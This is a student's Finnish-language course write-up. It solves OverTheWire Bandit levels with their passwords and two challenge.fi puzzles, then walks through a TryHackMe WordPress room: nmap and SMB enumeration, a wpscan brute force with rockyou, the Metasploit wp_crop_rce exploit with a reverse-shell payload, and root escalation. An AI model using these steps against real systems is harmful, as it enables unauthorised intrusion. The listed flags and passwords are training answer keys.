Tehtävä 1
a) Ratkaise Over The Wire: Bandit viisi ensimmäistä tasoa (0-4).
e) Vapaaehtoinen: Ratkaise OverTheWire: Bandit, tasot 5-10.
https://overthewire.org/wargames/bandit/
Bandit Level 0 → Level 1
Level Goal
The password for the next level is stored in a file called readme located in the home directory. Use this password to log into bandit1 using SSH. Whenever you find a password for a level, use SSH (on port 2220) to log into that level and continue the game.
Ratkaisu:
bandit0@bandit:~$ cat readme
boJ9jbbUNNfktd78OOpsqOltutMc3MY1
bandit0@bandit:~$
Bandit Level 1 → Level 2
Level Goal
The password for the next level is stored in a file called – located in the home directory
Ratkaisu:
find ~ -type f -name “[[:print:]]*” -exec cat {} \;
tai
bandit1@bandit:~$ find . -type f -name “[[:print:]]*” -not -path ‘*/.*’
./-
bandit1@bandit:~$ cat ./-
CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9
bandit1@bandit:~$
Bandit Level 2 → Level 3
Level Goal
The password for the next level is stored in a file called spaces in this filename located in the home directory
Ratkaisu:
bandit2@bandit:~$ find . -maxdepth 1 -name “* *” -print -exec cat {} \;
./spaces in this filename
UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK
bandit2@bandit:~$
Bandit Level 3 → Level 4
Level Goal
The password for the next level is stored in a hidden file in the inhere directory.
Ratkaisu:
bandit3@bandit:~$ find ./inhere -type f -path ‘*/.*’ -exec cat {} \;
pIwrPrtPN36QITSp3EQaw936yaFoFgAB
bandit3@bandit:~$
Bandit Level 4 → Level 5
Level Goal
The password for the next level is stored in the only human-readable file in the inhere directory. Tip: if your terminal is messed up, try the “reset” command.
Ratkaisu:
bandit4@bandit:~$ find ./inhere -type f -exec file {} + | awk -F: ‘/ASCII text/ {print $1}’
./inhere/-file07
bandit4@bandit:~$ cat ./inhere/-file07
koReBOKuIDDepwhWk7jZC0RTdopnAYKh
bandit4@bandit:~$
Bandit Level 5 → Level 6
Level Goal
The password for the next level is stored in a file somewhere under the inhere directory and has all of the following properties:
- human-readable
- 1033 bytes in size
- not executable
Ratkaisu:
bandit5@bandit:~$ find . -type f -size 1033c -name “[[:print:]]*” ! -executable -exec cat {} \;
DXjZPULLxYr17uwoI01bNLQbtFemEgo7
Bandit Level 6 → Level 7
Level Goal
The password for the next level is stored somewhere on the server and has all of the following properties:
- owned by user bandit7
- owned by group bandit6
- 33 bytes in size
Ratkaisu:
bandit6@bandit:~$ find / -type f -size 33c -user bandit7 -group bandit6 2>/dev/null -exec cat {} \;
HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs
bandit6@bandit:~$
Bandit Level 7 → Level 8
Level Goal
The password for the next level is stored in the file data.txt next to the word millionth
Ratkaisu:
bandit7@bandit:~$ cat data.txt | grep millionth
millionth cvX2JJa4CFALtqS87jk27qwqGhBM9plV
bandit7@bandit:~$
Bandit Level 8 → Level 9
Level Goal
The password for the next level is stored in the file data.txt and is the only line of text that occurs only once
Ratkaisu:
bandit8@bandit:~$ cat data.txt | sort | uniq -u
UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR
bandit8@bandit:~$
tai
bandit8@bandit:~$ sort data.txt| uniq -u
UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR
bandit8@bandit:~$
Bandit Level 9 → Level 10
Level Goal
The password for the next level is stored in the file data.txt in one of the few human-readable strings, preceded by several ‘=’ characters.
Ratkaisu:
bandit9@bandit:~$ strings data.txt | grep -E “==”
========== the*2i”4
========== password
Z)========== is
&========== truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk
bandit9@bandit:~$
Bandit Level 10 → Level 11
Level Goal
The password for the next level is stored in the file data.txt, which contains base64 encoded data
Ratkaisu:
bandit10@bandit:~$ cat data.txt | base64 –decode
The password is IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR
bandit10@bandit:~$
b) Asenna Kali Linux.
Kali linux on asennettu Penetration testing kurssia varten luodulle virtuaalikoneelle. Virtuaalikone pyörii virtuaaliverkossa VMWare Workstation 15 pro virtuaalisointialustalla. Virtuaalikoneen verkkolaite NAT:lla yhdistetty ulkoverkkoon.
c) Asenna WebGoat, luo paikallinen WebGoat-käyttäjä ja kirjaudu sisään
Opettajan ohjeilla asensin ja käynnistin OWASP10 WebGoat v8.0.0.M26 applikaation.
Karvinen, Tero: Install Webgoat 8 – Learn Web Pentesting
https://terokarvinen.com/2020/install-webgoat-web-pentest-practice-target/
d) Ratkaise WebGoatista tehtävät
- General
- HTTP Basics
- Developer tool
Asensin OWASP ZAP ja selvitin kuinka se toimii. Asensin Firefox laajennuksen FoxyProxy ja ohjasin liikennettä selaimen OWASP ZAP:in kautta niin, että HTTP pyynnöt ja vastaukset näkyisivät ZAP:ssa.
Lähde: Youtube: webpwnized “How to Intercept HTTP Requests with OWASP ZAP”
https://www.youtube.com/channel/UCPeJcqbi8v46Adk59plaaXg
e) Ratkaise 2021 Challenge.fi:stä yksi tehtävä, esim. 2021 Where was this picture taken, Encoding basics.
-
Where was this picture taken
On ainakin kaksi helppoa tapaa ratkaistaa tehtävän.
Ensimmäinen on kokeilla käänteisen kuvahaun Googlessa: https://images.google.com/ Google löytää sitten verkkosivustoja, joissa on ladattu kuva sekä siihen liittyviä kuvia. Google Images havaitsee myös valokuvan aiheen ja tuo esiin muita kuva-aiheeseen liittyviä verkkosivustoja.
Toinen tapa on tarkistaa kuvan metatiedot. Useimmat nykyaikaiset älypuhelimet tallentavat exif-tiedot kuvatiedostosta. Nämä tiedot voivat kertoa laitteen, jolla kuva on otettu, kameran objektiivin tyypin, valokuvan ottopäivämäärän ja -ajan sekä joskus jopa sen sijainnin GPS-koordinaattien muodossa. Tämän kuvan metatiedoissa
Syöttämällä koordinatit Google maps palveluun tai GPS Coordinates palveluun https://www.gps-coordinates.net/ saadaan osoitteen.
Löysin on-line palvelun, joka näyttää kuvan exif tiedot. Palvelu tarjoaa myös exif tietojen poistoa kuvista.
VIEW AND REMOVE EXIF ONLINE: https://www.verexif.com/en/
Lähde:
Vastaus:
Location Address
The Blackpool Tower,
The Promenade,
Blackpool,
Lancashire,
FY1 4BJ,
England
https://www.dayoutwiththekids.co.uk/attractions/the-blackpool-tower-eye-0172c72f
-
Encoding Basics
This is the flag, but its encrypted. Well, nothing can be done about it…
RkxBR3tMb29rc19yZWFsbHlfY3J5cHRpY19idXRfaXNfZWFzaWx5X3JldmVyc2VkfQ==
Ratkaisu:
Luodaan tiedosto nano editorilla ja tallennetaan salattu merkkijono sinne. Seuraavalla komennolla dekryptataan tiedoton sisältöä ja tulostetaan sen ruudulle.
┌──(kali㉿kali-vm)-[~/Documents]
└─$ base64 –decode encoding_basics.txt
FLAG{Looks_really_cryptic_but_is_easily_reversed}
f) TryHackMe tai HackTheBox.
Rekisteröidy, lue ja tallenna säännöt, avaa OpenVPN-yhteys, ratkaise yksi tehtävä (tai tehtävän alakohta) jommasta kummasta palvelusta: TryHackMe tai HackTheBox
Päätin rekisteröityä TryHackMe palvelussa. Valitsin tehtäväksi “Billy Joel made a WordPress blog!”
Tehtävä: https://tryhackme.com/room/blog
“Billy Joel made a blog on his home computer and has started working on it. It’s going to be so awesome!
Enumerate this box and find the 2 flags that are hiding on it! Billy has some weird things going on his laptop. Can you maneuver around and get what you need? Or will you fall down the rabbit hole… ”
Loin VPN -yhteyden palvelun verkkoon Kali -virtuaalikoneelta openvpn käyttäen.
┌──(kali㉿kali-vm)-[~]
└─$ ifconfig -a
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.142.133 netmask 255.255.255.0 broadcast 192.168.142.255
inet6 fe80::20c:29ff:fe07:c6c0 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:07:c6:c0 txqueuelen 1000 (Ethernet)
RX packets 251645 bytes 307469156 (293.2 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 32588 bytes 5242053 (4.9 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1012812 bytes 194145304 (185.1 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1012812 bytes 194145304 (185.1 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.8.67.23 netmask 255.255.0.0 destination 10.8.67.23
inet6 fe80::3c3d:fd69:5c5c:32c9 prefixlen 64 scopeid 0x20<link>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 500 (UNSPEC)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2 bytes 96 (96.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Lisätään kohdekoneen IP-osoiten /etc/hosts tiedostoon, jotta voittaisiin käyttää koneen koneen nimeä IP-osoitteen sijaan
$ sudo nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali-vm
10.10.185.91 blog.thm
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Skannataan kohdekoneen portit nmap ohjelmalla
$ nmap -sV blog.thm
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-02 13:46 EEST
Nmap scan report for blog.thm (10.10.185.91)
Host is up (0.060s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
139/tcp open netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.37 seconds
Tuloksesta näkee, että kohdekoneella on auki SMB-protokollan portit 139 ja 445. Listataan Samba jaetut resurssit enum4linux ohjelmalla
$ enum4linux -a blog.thm
===================================( Share Enumeration on blog.thm )===================================
Sharename Type Comment
——— —- ——-
print$ Disk Printer Drivers
BillySMB Disk Billy’s local SMB Share
IPC$ IPC IPC Service (blog server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
smbclient:
From this command line, you can use several FTP-like commands, as listed in Table D-1. Arguments in square brackets are optional.
From <https://www.oreilly.com/openbook/samba/book/appd_01.html>
Avataan yhteys jatettuun resurssiin smbclient ohjelma käyttäen
$ smbclient \\\\blog.thm\\BillySMB\\
Enter WORKGROUP\kali’s password:
Try “help” to get a list of possible commands.
smb: \>
smb: \> ls
. D 0 Tue May 26 21:17:05 2020
.. D 0 Tue May 26 20:58:23 2020
Alice-White-Rabbit.jpg N 33378 Tue May 26 21:17:01 2020
tswift.mp4 N 1236733 Tue May 26 21:13:45 2020
check-this.png N 3082 Tue May 26 21:13:43 2020
15413192 blocks of size 1024. 9790064 blocks available
Haetaan tiedostot omalle koneelle
smb: \> get Alice-White-Rabbit.jpg /home/kali/TryHackMe/Alice-White-Rabbit.jpg
getting file \Alice-White-Rabbit.jpg of size 33378 as /home/kali/TryHackMe/Alice-White-Rabbit.jpg (75.1 KiloBytes/sec) (average 75.1 KiloBytes/sec)
smb: \> get tswift.mp4 /home/kali/TryHackMe/tswift.mp4
getting file \tswift.mp4 of size 1236733 as /home/kali/TryHackMe/tswift.mp4 (436.3 KiloBytes/sec) (average 387.4 KiloBytes/sec)
smb: \> get check-this.png /home/kali/TryHackMe/check-this.png
getting file \check-this.png of size 3082 as /home/kali/TryHackMe/check-this.png (12.9 KiloBytes/sec) (average 362.0 KiloBytes/sec)
smb: \>
Steghide is a steganography program that is able to hide data in various kinds of image- and audio-files. The color- respectivly sample-frequencies are not changed thus making the embedding resistant against first-order statistical tests. http://steghide.sourceforge.net/
Asennetaan steghide
$ sudo apt install -y steghide
$ steghide –info Alice-White-Rabbit.jpg
“Alice-White-Rabbit.jpg”:
format: jpeg
capacity: 1.8 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
embedded file “rabbit_hole.txt”:
size: 48.0 Byte
encrypted: rijndael-128, cbc
compressed: yes
Puretaan piilotiedosto kuvasta steghide extract komennolla
$ steghide extract -sf Alice-White-Rabbit.jpg
Enter passphrase:
wrote extracted data to “rabbit_hole.txt”.
Katsotaan tiedoston sisältöä
$ cat rabbit_hole.txt
You’ve found yourself in a rabbit hole, friend.
Oops! Tultiin umpikujaan.
Seuraavaksi kokeillaan hyökätä WordPress sivustoon WordPress Security Scan käyttäen: https://github.com/wpscanteam/wpscan/
Valitettavasti se ei toiminut ja pitänyt selvittää missä on vika
$ wpscan
/usr/lib/ruby/vendor_ruby/rubygems/specification.rb:1401:in `rescue in block in activate_dependencies’: Could not find ‘webrick’ (>= 0) among 125 total gem(s) (Gem::MissingSpecError)
Lopulta tajusin, että ongelmana oli puuttunut riippuvuus ja asensin sen RubyGems repository:lta
$ sudo gem install webrick
Fetching webrick-1.7.0.gem
Successfully installed webrick-1.7.0
Parsing documentation for webrick-1.7.0
Installing ri documentation for webrick-1.7.0
Done installing documentation for webrick after 0 seconds
1 gem installed
Skannateean WordPress sivuston
$ wpscan –url 10.10.185.91 –enumerate u
Löytynyt kaksi käyttäjää: kwheel ja bjoel
Seuraavaksi yritän suorittaa brute force hyökkäystä käyttämällä samaa wpscan-työkalua. Tähän tarvitsen listan salasanoista mitä tullaan kokeilemaan hyökkäyksessä. Kali linuxissa on asennettuna Woldlist paketti: joka sisältää rockyou.txt.gz tiedoston. Ensin se pitää purkaa arkistosta. https://www.kali.org/tools/wordlists/
$ ls -lh /usr/share/wordlists/
total 51M
lrwxrwxrwx 1 root root 25 Mar 27 10:15 dirb -> /usr/share/dirb/wordlists
lrwxrwxrwx 1 root root 30 Mar 27 10:15 dirbuster -> /usr/share/dirbuster/wordlists
lrwxrwxrwx 1 root root 41 Mar 27 10:15 fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt
lrwxrwxrwx 1 root root 45 Mar 27 10:15 fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists
lrwxrwxrwx 1 root root 46 Mar 27 10:15 metasploit -> /usr/share/metasploit-framework/data/wordlists
lrwxrwxrwx 1 root root 41 Mar 27 10:15 nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst
-rw-r–r– 1 root root 51M Jul 17 2019 rockyou.txt.gz
lrwxrwxrwx 1 root root 25 Mar 27 10:15 wfuzz -> /usr/share/wfuzz/wordlist
$ sudo gunzip /usr/share/wordlists/rockyou.txt.gz
Seuraavalla komennolla aloitetaan brute force hyökkäystä
$ wpscan –url 10.10.185.91 -P /usr/share/wordlists/rockyou.txt -U “kwheel”
Sopiva salasana on löydetty, kirjaudutaan WP Admin paneelille. http://10.10.185.91/wp-admin
Onnistuin kirjautumaan WP-admin paneelille
Media välilehdellä on rikkinäisiä kuvia. Ehkä se on vihje. Kokeilin käyttää hyväkseen seuraavan WP:n havoittuvuuden
https://www.cvedetails.com/cve/CVE-2019-8942/
Avataan Metasploit https://www.metasploit.com/
$ msfconsole
Seuraavalla komennolla asennetaan exploit, joka käyttää kyseistä havoituvuutta.
msf6 > use exploit/multi/http/wp_crop_rce
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
Katsotaan sen parametrit:
msf6 exploit(multi/http/wp_crop_rce) > show options
Pitänyt selvittää metasploitin komentoja https://www.hackingtutorials.org/metasploit-tutorials/metasploit-commands/
Kyseinen exploit tarvitsee parametreina käyttäjänimeä, salasanaa ja kohdekoneen IP-osoitetta. Syötetään parametrit set -komennolla.
set RHOSTS 10.10.185.91
set USERNAME kwheel
set PASSWORD put_password_here
Käynnitetään run komennolla
msf6 exploit(multi/http/wp_crop_rce) > run
Exploit on asennettu kohdekoneelle, mutta sessiota ei saatu auki.
Tähän ongelman selvittelyyn meni paljon aikaa. Löysin, että ongelma mahdollisesti johtunut NAT:in takana toimivasta virtuaalikoneesta, jota käytän tässä tehtävässä. https://www.infosecmatter.com/why-your-exploit-completed-but-no-session-was-created-try-these-fixes/ Yritin vaihtaa virtuaalikoneen verkkoasetuksia Bridge:ksi, mutta silloin ei toiminut VPN-yhteys. Asensin jopa uuden virtuaalikoneen Azure-pilveen. Koska Azuressa ei ollut Kali Linux -pakettia, minun piti asentaa Ubuntu ja kaikki tarvittavat työkalut itse. Tämäkään ei auttanut.
Päätin hankkia TryHackMe maksullista palvelua, joka tarjoaa pääsyä kaikkeen premium oppimissisältöön ja selainpohjaiseen Kali virtuaalikoneelle.
TryHackMe tehtävän istunto on vanhentunut, joten käynnistän sen uudelleen ja ryhdyn tarvittaviin toimiin jatkaakseni ongelman ratkaisemista TryHackMe virtuaalokoneelta.
Uusi kohdekoneen IP-osoite on: 10.10.215.42
Lopulta sain sen toimimaan
Pääsin shell komennolla kohdekoneelle
Sitten olin joo loppusuoralla:
$ export admin=/root
$ checker
$ cd ~
$ whoami
root
$ ls
root.txt
$ cat root.txt
Tiedostossa oli vastaus ensimmäiseen kysymykseen. Toisen tiedoston pitänyt etsiä find komennolla. Root käyttäjänä se ei olut vaikea. Tiedosto löytynyt kansiosta /home/bjoel/uset.txt Siinä oli vastaus toiseen kysymykseen.
Yhtenä kysymykenä oli löytää CMS version. Tästä saa vikkejä: https://kinsta.com/knowledgebase/check-wordpress-version/
Lähde: Debjeet Banerjee 2020 https://whokilleddb.medium.com/tryhackme-blog-9fe23ef0494b